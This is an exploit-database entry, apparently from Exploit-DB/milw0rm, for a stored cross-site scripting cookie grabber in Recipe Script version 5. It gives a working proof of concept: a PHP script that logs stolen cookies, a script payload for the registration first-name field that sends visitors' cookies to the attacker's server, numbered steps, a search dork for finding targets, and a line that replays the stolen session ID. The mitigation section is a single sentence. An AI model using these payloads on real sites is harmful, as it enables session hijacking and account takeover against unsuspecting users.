The Recipe Script version 5 Cookie Grabber Exploit

vendor:

Recipe Script version 5

by:

ThE g0bL!N

7,5

CVSS

HIGH

Cookie Grabber Exploit

CWE

Product Name: Recipe Script version 5

Affected Version From: 5

Affected Version To: 5

Patch Exists: NO

Related CWE: N/A

CPE: a:recipescript:recipe_script_version_5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

The Recipe Script version 5 Cookie Grabber Exploit

The Recipe Script version 5 is vulnerable to a cookie grabber exploit. An attacker can register on the site with a malicious JavaScript code in the first name field. This code will redirect the user to a malicious URL with the user's cookie. The malicious URL can be hosted on the attacker's server and can be used to log the user's cookie. This cookie can then be used to hijack the user's session.

Mitigation:

The application should validate user input and filter out any malicious code.

Source

Exploit-DB raw data:

#################################################################################################################
[+] The Recipe Script version 5 Cookie Grabber Exploit
[+] Discovered By ThE g0bL!N
[+] Greetz : All my friends-Sec-r1z.com ( A good site if you want to learn :) )
[+] Vendor:http://recipescript.com/
[+] Dork"script by RECIPE SCRIPT"
#################################################################################################################
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php  - > Put in this File That Code:
 <?php
 $cookie = $_GET['cookie'];
 $log = fopen("log.txt", "a");
 fwrite($log, $cookie ."\n");
 fclose($log);
 ?>
[+]log.txt   - > CHMOD it 777 and put in the same directory with cookie.php
 
[+]Exploit:
   -------
           1)First Register in the site  In Fisrt Name:  Put That code
           2) <script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script>
           3)Then After Complete Registration Go to add_recipe.php To add recipe
           4)Add a normal Recipe
           5) The Victim Open page of recipes recipes.php
           6)The js code Worked 
Example
-------
Result:
------
 PHPSESSID:aafaa0f2cad7431d5cec1431e5bafb03
 Then we put that code
 javascript:document.cookie="PHPSESSID=aafaa0f2cad7431d5cec1431e5bafb03;path=/";
 After That you see :
 ThE g0bL!N
 Profile
 Log off
################################################################################################################

# milw0rm.com [2009-06-15]